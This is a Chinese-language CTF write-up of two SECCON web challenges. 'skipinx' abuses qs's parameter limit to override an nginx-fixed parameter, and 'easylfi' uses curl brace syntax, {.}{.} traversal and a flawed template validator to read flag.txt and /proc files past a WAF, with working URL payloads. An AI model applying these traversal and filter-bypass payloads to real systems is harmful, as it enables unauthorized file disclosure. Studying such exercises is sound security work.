skipinx
知识点:qs 参数解析错误
qs简介
一句话介绍就是:qs是负责url参数转化的js库,当然也可以说是查询字符串解析和字符串化库。
详细了解移步:https://www.npmjs.com/package/qs
qs简单用法
例如:我们 url 参数是 foo[bar]=baz
,那么他就会转化为一个对象
assert.deepEqual(qs.parse('foo[bar]=baz'), {
foo: {
bar: 'baz'
}
});
可以嵌套对象,例如:
assert.deepEqual(qs.parse('foo[bar][baz]=foobarbaz'), {
foo: {
bar: {
baz: 'foobarbaz'
}
}
});
也可以是正常的键值对:url
参数为 a=b&proxy=nginx
,解析为
{ a: 'b', proxy: 'nginx' }
getflag
在 index.js
中可以看到只要 get
参数 proxy
中没用 nginx
这个值就可以了,但是直接令 proxy=xxx
无法绕过,问题出来哪里了呢?
问题出在了 nginx
的配置文件 conf
上了,它固定了 /
路由的 proxy
参数是 nginx
,那要怎么绕过呢?
在 package-lock.json
,可以看到有用 qs
处理 http
的 body
。
且在 qs
的文档中可以看到,qs
最多解析 1000
个参数。
payload:
curl $(python -c 'print("http://skipinx.seccon.games:8080/?proxy=x"+"&a="*999)')
easylfi
知识点:curl 的多文件下载(访问),代码审计
curl 的多文件下载
https://qastack.cn/unix/243134/curl-download-multiple-files-with-brace-syntax
例外:如果您指定多个文件,curl 将在每个文件之间用换行符连接每个文件,就这题来说,可以明显看到它换行了。
分析
根路由,过滤了 .. 和 %
可以用 {.}{.}
绕过 ..
,且访问的文件要存在,最后把 (proc.stdout.decode(), request.args)
送给 template
处理,前者是 curl 访问文件后产生的输出,后者是请求的参数和值。
@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
if ".." in filename or "%" in filename:
return "Do not try path traversal :("
try:
proc = subprocess.run(
["curl", f"file://{os.getcwd()}/public/{filename}"],
capture_output=True,
timeout=1,
)
except subprocess.TimeoutExpired:
return "Timeout"
if proc.returncode != 0:
return "Something wrong..."
return template(proc.stdout.decode(), request.args)
template
函数先把参数的键名和键值送给 validate
函数判断符不符合格式,然后再替换 {...}
和键值。
注意:这边是在输出内容的基础上替换的,且这题是有 waf
的,返回的值不能有 SECCON
,那么我们是不是可以通过某些操作令这个替换功能,替换掉返回的 SECCON
,这样就可以绕过 waf
了。
def template(text: str, params: dict[str, str]) -> str:
# A very simple template engine
for key, value in params.items():
if not validate(key):
return f"Invalid key: {key}"
text = text.replace(key, value) # key 为 {name} 里面的name,利用 value 代替 name,在返回到模板里面
# text 是输出的内容
return text
@app.after_request
def waf(response: Response):
if b"SECCON" in b"".join(response.response):
return Response("Try harder")
return response
最后看看这个判断 url 参数格式的函数,它本意是想判断格式是不是 {....}
,但是它写的有问题,在 for
循环下的第一个 if
判断只要等于 {
就直接返回 true
了,那这个有什么用呢?
def validate(key: str) -> bool:
# E.g. key == "{name}" -> True
# key == "name" -> False
if len(key) == 0:
return False
is_valid = True
for i, c in enumerate(key):
if i == 0:
is_valid &= c == "{" # {=456 也可以
elif i == len(key) - 1:
is_valid &= c == "}"
else:
is_valid &= c != "{" and c != "}"
return is_valid
用这题举一个例子:
{.}{.}/{.}{.}/{proc/self/cmdline,app/public/hello.html}
此时它返回的是当前运行的命令,和 hello.html
代码
{.}{.}/{.}{.}/{proc/self/cmdline,app/public/hello.html}?{proc/self/cmdline,app/public/hello.html}={&{=}{
当我们把 {proc/self/cmdline,app/public/hello.html}
替换为 {
,把 {
替换为 }{
时,我们就创造了一个闭合,途中红圈内的。
最后我们只要把红圈内的替换掉就可以了
http://easylfi.seccon.games:3000/{.}{.}/{.}{.}/{proc/self/cmdline,app/public/hello.html}?{proc/self/cmdline,app/public/hello.html}={&{=}{&{%00--_curl_--file:///app/public/../../app/public/hello.html%0A%3C!DOCTYPE%20html%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%20%20%3Cmeta%20charset%3D%22UTF-8%22%3E%0A%20%20%3Ctitle%3Eeasylfi%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody%3E%0A%20%20%3Ch1%3EHello%2C%20}=success!!!
从下图中可以看到我们成功的把红圈内的内容替换为 success!!!
getflag
从上我举的例子中可以看出只要构造出一个类似 {.....%0aSECCON}
的闭合,并把它替换掉就可以绕过 waf
了。
这里的 %0a
是因为 curl 将在每个文件之间用换行符连接每个文件
。
payload:
{.}{.}/{.}{.}/{proc/self/cmdline,flag.txt}?{proc/self/cmdline,flag.txt}={&{=}{&{%00--_curl_--file:///app/public/../../flag.txt%0ASECCON}=succ
这边要注意的是 --_curl_--
前面是有不可见字符隔开的,我们复制的时候可以发现它并不是空格,是 %00
,也就是 url
中字符串结束的标志。
reference
https://qiita.com/kusano_k/items/13867e5defc0e5491917#skipinx
https://qiita.com/__dAi00/items/3264238fa0d82d900606#easylfi